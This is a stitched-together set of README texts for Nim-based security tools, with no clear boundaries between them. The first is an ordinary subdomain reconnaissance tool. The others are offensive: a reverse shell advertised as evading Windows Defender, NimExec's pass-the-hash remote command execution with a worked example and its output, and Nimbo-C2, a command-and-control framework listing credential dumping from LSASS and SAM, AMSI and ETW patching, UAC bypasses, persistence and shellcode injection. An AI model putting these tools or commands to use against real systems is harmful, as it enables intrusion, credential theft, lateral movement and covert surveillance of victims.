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Domainim is a fast domain reconnaissance tool for organizational network scanning. The tool aims to provide a brief overview of an organization's structure using techniques like OSINT, bruteforcing, DNS resolving etc.
Current features (v1.0.1)- - Subdomain enumeration (2 engines + bruteforcing) - User-friendly output - Resolving A records (IPv4)
A few features are work in progress. See Planned features for more details.
The project is inspired by Sublist3r. The port scanner module is heavily based on NimScan.
You can build this repo from source- - Clone the repository
FreshRSS git clone git@github.com:pptx704/domainim
nimble build
./domainim <domain> [--ports=<ports>]
Or, you can just download the binary from the release page. Keep in mind that the binary is tested on Debian based systems only.
./domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
<domain> is the domain to be enumerated. It can be a subdomain as well.-- ports | -p is a string speicification of the ports to be scanned. It can be one of the following-all - Scan all ports (1-65535)none - Skip port scanning (default)t<n> - Scan top n ports (same as nmap). i.e. t100 scans top 100 ports. Max value is 5000. If n is greater than 5000, it will be set to 5000.80 scans port 8080-100 scans ports 80 to 10080,443,8080 scans ports 80, 443 and 808080,443,8080-8090,t500 scans ports 80, 443, 8080 to 8090 and top 500 ports--dns | -d is the address of the dns server. This should be a valid IPv4 address and can optionally contain the port number-a.b.c.d - Use DNS server at a.b.c.d on port 53a.b.c.d#n - Use DNS server at a.b.c.d on port e
--wordlist | -l - Path to the wordlist file. This is used for bruteforcing subdomains. If the file is invalid, bruteforcing will be skipped. You can get a wordlist from SecLists. A wordlist is also provided in the release page.--rps | -r - Number of requests to be made per second during bruteforce. The default value is 1024 req/s. It is to be noted that, DNS queries are made in batches and next batch is made only after the previous one is completed. Since quries can be rate limited, increasing the value does not always guarantee faster results.--out | -o - Path to the output file. The output will be saved in JSON format. The filename must end with .json.Examples - ./domainim nmap.org --ports=all - ./domainim google.com --ports=none --dns=8.8.8.8#53 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --rps=1500 - ./domainim pptx704.com --ports=t100 --wordlist=wordlist.txt --outfile=results.json - ./domainim mysite.com --ports=t50,5432,7000-9000 --dns=1.1.1.1
The help menu can be accessed using ./domainim --help or ./domainim -h.
Usage:
domainim <domain> [--ports=<ports> | -p:<ports>] [--wordlist=<filename> | l:<filename> [--rps=<int> | -r:<int>]] [--dns=<dns> | -d:<dns>] [--out=<filename> | -o:<filename>]
domainim (-h | --help)
Options:
-h, --help Show this screen.
-p, --ports Ports to scan. [default: `none`]
Can be `all`, `none`, `t<n>`, single value, range value, combination
-l, --wordlist Wordlist for subdomain bruteforcing. Bruteforcing is skipped for invalid file.
-d, --dns IP and Port for DNS Resolver. Should be a valid IPv4 with an optional port [default: system default]
-r, --rps DNS queries to be made per second [default: 1024 req/s]
-o, --out JSON file where the output will be saved. Filename must end with `.json`
Examples:
domainim domainim.com -p:t500 -l:wordlist.txt --dns:1.1.1.1#53 --out=results.json
domainim sub.domainim.com --ports=all --dns:8.8.8.8 -t:1500 -o:results.json
The JSON schema for the results is as follows-
[
{
"subdomain": string,
"data": [
"ipv4": string,
"vhosts": [string],
"reverse_dns": string,
"ports": [int]
]
}
]
Example json for nmap.org can be found here.
Contributions are welcome. Feel free to open a pull request or an issue.
This project is still in its early stages. There are several limitations I am aware of.
The two engines I am using (I'm calling them engine because Sublist3r does so) currently have some sort of response limit. dnsdumpster.com">dnsdumpster can fetch upto 100 subdomains. crt.sh also randomizes the results in case of too many results. Another issue with crt.sh is the fact that it returns some SQL error sometimes. So for some domain, results can be different for different runs. I am planning to add more engines in the future (at least a brute force engine).
The port scanner has only ping response time + 750ms timeout. This might lead to false negatives. Since, domainim is not meant for port scanning but to provide a quick overview, such cases are acceptable. However, I am planning to add a flag to increase the timeout. For the same reason, filtered ports are not shown. For more comprehensive port scanning, I recommend using Nmap. Domainim also doesn't bypass rate limiting (if there is any).
It might seem that the way vhostnames are printed, it just brings repeition on the table.
Printing as the following might've been better-
ack.nmap.org, issues.nmap.org, nmap.org, research.nmap.org, scannme.nmap.org, svn.nmap.org, www.nmap.org
โณ 45.33.49.119
โณ Reverse DNS: ack.nmap.org.
But previously while testing, I found cases where not all IPs are shared by same set of vhostnames. That is why I decided to keep it this way.
DNS server might have some sort of rate limiting. That's why I added random delays (between 0-300ms) for IPv4 resolving per query. This is to not make the DNS server get all the queries at once but rather in a more natural way. For bruteforcing method, the value is between 0-1000ms by default but that can be changed using --rps | -t flag.
One particular limitation that is bugging me is that the DNS resolver would not return all the IPs for a domain. So it is necessary to make multiple queries to get all (or most) of the IPs. But then again, it is not possible to know how many IPs are there for a domain. I still have to come up with a solution for this. Also, nim-ndns doesn't support CNAME records. So, if a domain has a CNAME record, it will not be resolved. I am waiting for a response from the author for this.
For now, bruteforcing is skipped if a possible wildcard subdomain is found. This is because, if a domain has a wildcard subdomain, bruteforcing will resolve IPv4 for all possible subdomains. However, this will skip valid subdomains also (i.e. scanme.nmap.org will be skipped even though it's not a wildcard value). I will add a --force-brute | -fb flag later to force bruteforcing.
Similar thing is true for VHost enumeration for subdomain inputs. Since, urls that ends with given subdomains are returned, subdomains of similar domains are not considered. For example, scannme.nmap.org will not be printed for ack.nmap.org but something.ack.nmap.org might be. I can search for all subdomains of nmap.org but that defeats the purpose of having a subdomains as an input.
MIT License. See LICENSE for full text.
Reverse shell that can bypass windows defender detection
$ apt install nim
nim c -d:mingw --app:gui nimshell.nim
Change the IP address and port number you want to listen to in the nimshell.nim file according to your device.
$ nc -nvlp 4444
Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v
_..._
.-'_..._''.
_..._ .--. __ __ ___ __.....__ __.....__ .' .' '.\
.' '. |__|| |/ `.' `. .-'' '. .-'' '. / .'
. .-. ..--.| .-. .-. ' / .-''"'-. `. / .-''"'-. `. . '
| ' ' || || | | | | |/ /________\ \ ____ _____/ /________\ \| |
| | | || || | | | | || |`. \ .' /| || |
| | | || || | | | | |\ .--- ----------' `. `' .' \ .-------------'. '
| | | || || | | | | | \ '-.____...---. '. .' \ '-.____...---. \ '. .
| | | ||__||__| |__| |__| `. .' .' `. `. .' '. `._____.-'/
| | | | `''-...... -' .' .'`. `. `''-...... -' `-.______ /
| | | | .' / `. `. `
'--' '--' '----' '----'
@R0h1rr1m
[+] Connected to 10.200.2.2:445
[+] NTLM Authentication with Hash is succesfull!
[+] Connected to IPC Share of target!
[+] Opened a handle for svcctl pipe!
[+] Bound to the RPC Interface!
[+] RPC Binding is acknowledged!
[+] SCManager handle is obtained!
[+] Number of obtained services: 265
[+] Selected service is LxpSvc
[+] Service: LxpSvc is opened!
[+] Previous Service Path is: C:\Windows\system32\svchost.exe -k netsvcs
[+] Service config is changed!
[!] StartServiceW Return Value: 1053 (ERROR_SERVICE_REQUEST_TIMEOUT)
[+] Service start request is sent!
[+] Service config is restored!
[+] Service handle is closed!
[+] Service Manager handle is closed!
[+] SMB is closed!
[+] Tree is disconnected!
[+] Session logoff!
It's tested against Windows 10&11, Windows Server 16&19&22 from Ubuntu 20.04 and Windows 10 machines.
-v | --verbose Enable more verbose output.
-u | --username <Username> Username for NTLM Authentication.*
-h | --hash <NTLM Hash> NTLM password hash for NTLM Authentication.*
-t | --target <Target> Lateral movement target.*
-c | --command <Command> Command to execute.*
-d | --domain <Domain> Domain name for NTLM Authentication.
-s | --service <Service Name> Name of the service instead of a random one.
--help Show the help message.
Nimbo-C2 is yet another (simple and lightweight) C2 framework.
Nimbo-C2 agent supports x64 Windows & Linux. It's written in Nim, with some usage of .NET on Windows (by dynamically loading the CLR to the process). Nim is powerful, but interacting with Windows is much easier and robust using Powershell, hence this combination is made. The Linux agent is slimer and capable only of basic commands, including ELF loading using the memfd technique.
All server components are written in Python:
My work wouldn't be possible without the previous great work done by others, listed under credits.
UPX0, UPX1) to make detection and unpacking harder.config.jsonc).cd ingit clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2
docker build -t nimbo-dependencies .
cd again into the source files and run the docker image interactively, expose port 80 and mount Nimbo-C2 directory to the container (so you can easily access all project files, modify config.jsonc, download and upload files from agents, etc.). For Linux replace ${pwd} with $(pwd).cd Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 nimbo-dependencies
git clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2/Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 itaymigdal/nimbo-dependencies
First, edit config.jsonc for your needs.
Then run with: python3 Nimbo-C2.py
Use the help command for each screen, and tab completion.
Also, check the examples directory.
Nimbo-C2 > help
--== Agent ==--
agent list -> list active agents
agent interact <agent-id> -> interact with the agent
agent remove <agent-id> -> remove agent data
--== Builder ==--
build exe -> build exe agent (-h for help)
build dll -> build dll agent (-h for help)
build elf -> build elf agent (-h for help)
--== Listener ==--
listener start -> start the listener
listener stop -> stop the listener
listener status -> print the listener status
--== General ==--
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
Nimbo-2 [d337c406] > help
--== Send Commands ==--
cmd <shell-command> -> execute a shell command
iex <powershell-scriptblock> -> execute in-memory powershell command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <loal-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Discovery Stuff ==--
pstree -> show process tree
checksec -> check for security products
software -> check for installed software
--== Collection Stuff ==--
clipboard -> retrieve clipboard
screenshot -> retrieve screenshot
audio <record-time> -> record audio
--== Post Exploitation Stuff ==--
lsass <method> -> dump lsass.exe [methods: direct,comsvcs] (elevation required)
sam -> dump sam,security,system hives using reg.exe (elevation required)
shellc <raw-shellcode-file> <pid> -> inject shellcode to remote process
assembly <local-assembly> <args> -> execute .net assembly (pass all args as a single string using quotes)
warning: make sure the assembly doesn't call any exit function
--== Evasion Stuff ==--
unhook -> unhook ntdll.dll
amsi -> patch amsi out of the current process
etw -> patch etw out of the current process
--== Persistence Stuff ==--
persist run <command> <key-name> -> set run key (will try first hklm, then hkcu)
persist spe <command> <process-name> -> persist using silent process exit technique (elevation required)
--== Privesc Stuff ==--
uac fodhelper <command> <keep/die> -> elevate session using the fodhelper uac bypass technique
uac sdclt <command> <keep/die> -> elevate session using the sdclt uac bypass technique
--== Interaction stuff ==--
msgbox <title> <text> -> pop a message box (blocking! waits for enter press)
speak <text> -> speak using sapi.spvoice com interface
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
Nimbo-2 [51a33cb9] > help
--== Send Commands ==--
cmd <shell-command> -> execute a terminal command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Post Exploitation Stuff ==--
memfd <mode> <elf-file> <commandline> -> load elf in-memory using the memfd_create syscall
implant mode: load the elf as a child process and return
task mode: load the elf as a child process, wait on it, and get its output when it's done
(pass the whole commandline as a single string using quotes)
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
assembly command, make sure your assembly doesn't call any exit function because it will kill the agent.shellc command may unexpectedly crash or change the injected process behavior, test the shellcode and the target process first.audio, lsass and sam commands temporarily save artifacts to disk before exfiltrate and delete them.persist commands should be done manually.uac commands. die flag may leave you with no active agent (if the unelevated agent thinks that the UAC bypass was successful, and it wasn't), keep should leave you with 2 active agents probing the C2, then you should manually kill the unelevated.msgbox is blocking, until the user will press the ok button.This software may be buggy or unstable in some use cases as it not being fully and constantly tested. Feel free to open issues, PR's, and contact me for any reason at (Gmail | Linkedin | Twitter).
